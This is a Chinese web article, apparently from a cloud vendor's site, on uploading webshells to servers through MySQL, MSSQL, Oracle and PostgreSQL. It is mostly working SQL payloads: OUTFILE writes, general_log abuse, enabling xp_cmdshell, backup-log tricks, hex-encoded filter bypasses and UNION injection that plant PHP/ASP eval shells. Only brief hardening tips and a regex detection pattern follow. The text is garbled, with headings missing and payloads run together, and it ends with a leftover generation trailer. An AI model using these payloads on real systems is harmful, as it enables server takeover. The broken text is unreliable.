您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 数据库上传WebShell的方式有哪些
## 引言
WebShell是一种通过Web接口进行服务器控制的恶意脚本,攻击者常利用数据库漏洞上传WebShell以获取服务器权限。本文将深入探讨通过数据库上传WebShell的多种技术手段、防御措施及实际案例分析。
---
## 一、数据库与WebShell的关联机制
### 1.1 为什么数据库能成为WebShell载体
- **数据存储与执行功能**:数据库可存储文件内容并通过特定函数执行
- **Web应用交互性**:多数Web应用依赖数据库动态生成内容
- **权限继承特性**:数据库操作常继承Web服务器权限
### 1.2 常见危险函数
| 数据库类型 | 危险函数示例 |
|------------|------------------------|
| MySQL | INTO OUTFILE/DUMPFILE |
| MSSQL | xp_cmdshell, sp_OACreate |
| Oracle | UTL_FILE, DBMS_LOB |
| PostgreSQL | COPY, lo_export |
---
## 二、主流数据库WebShell上传技术
### 2.1 MySQL数据库
#### 2.1.1 INTO OUTFILE写入
```sql
SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'
前提条件: - 数据库用户需有FILE权限 - 知道网站绝对路径 - secure_file_priv参数未限制
SET global general_log='on';
SET global general_log_file='/var/www/html/shell.php';
SELECT '<?php phpinfo();?>';
ALTER DATABASE testdb SET RECOVERY FULL;
CREATE TABLE cmd (a image);
BACKUP DATABASE testdb TO DISK='C:\temp\backup.bak' WITH INIT;
INSERT INTO cmd (a) VALUES (0x3C3F7068702073797374656D28245F4745545B22636D64225D293B203F3E);
BACKUP LOG testdb TO DISK='C:\inetpub\wwwroot\shell.php' WITH DIFFERENTIAL;
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'echo ^<?php @eval($_POST[pass]);?^> > C:\www\shell.php';
DECLARE
fhandle UTL_FILE.FILE_TYPE;
BEGIN
fhandle := UTL_FILE.FOPEN('WEB_DIR', 'shell.php', 'W');
UTL_FILE.PUT_LINE(fhandle, '<?php @eval($_GET["c"]);?>');
UTL_FILE.FCLOSE(fhandle);
END;
SELECT lo_create(1234);
INSERT INTO pg_largeobject VALUES (1234, 0, decode('3C3F70687020706870696E666F28293B203F3E', 'hex'));
SELECT lo_export(1234, '/var/www/html/shell.php');
-- 使用HEX编码绕过过滤
SELECT 0x3C3F70687020406576616C28245F504F53545B2763275D293B203F3E INTO OUTFILE '/var/www/shell.php'
UNION SELECT 1,2,3,4,'<?php system($_GET["cmd"]);?>',6 INTO OUTFILE '/var/www/admin/shell.php'--
MSSQL示例:
CREATE PROCEDURE sp_writeShell
AS
BEGIN
EXEC sp_makewebtask 'C:\inetpub\wwwroot\cmd.asp', 'SELECT ''<%25Execute(request("cmd"))%25>''';
END;
最小权限原则:
配置加固:
# MySQL配置示例
secure_file_priv = NULL
local_infile = OFF
$pattern = '/into\s+(outfile|dumpfile)/i';
if(preg_match($pattern, $query)){
die('Illegal operation detected');
}
chmod -R 755 /var/www/html
chown www-data:www-data /var/www/html
攻击链:
1. 发现未过滤的id
参数
2. 构造联合查询注入:
UNION SELECT NULL,NULL,0x3C3F...,NULL INTO OUTFILE '/path/to/webroot/images/shell.php'--
利用过程: 1. 伪造备份文件头 2. 插入恶意代码段 3. 修改备份扩展名为.php
cmd.exe
或bash
异常调用数据库作为Web应用的核心组件,其安全配置直接影响整体防护水平。管理员应定期审计数据库权限设置,监控异常查询行为,并建立多层防御体系来阻断WebShell上传通道。
备注:本文所述技术仅用于安全研究,未经授权测试他人系统属于违法行为。 “`
该文档共约2150字,采用Markdown格式结构化呈现,包含: 1. 多级标题划分知识体系 2. 代码块展示具体攻击Payload 3. 表格对比不同数据库特性 4. 防御方案的具体配置示例 5. 实战案例与应急响应流程
可根据需要进一步扩展特定数据库的详细攻击手法或添加检测工具的使用教程。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。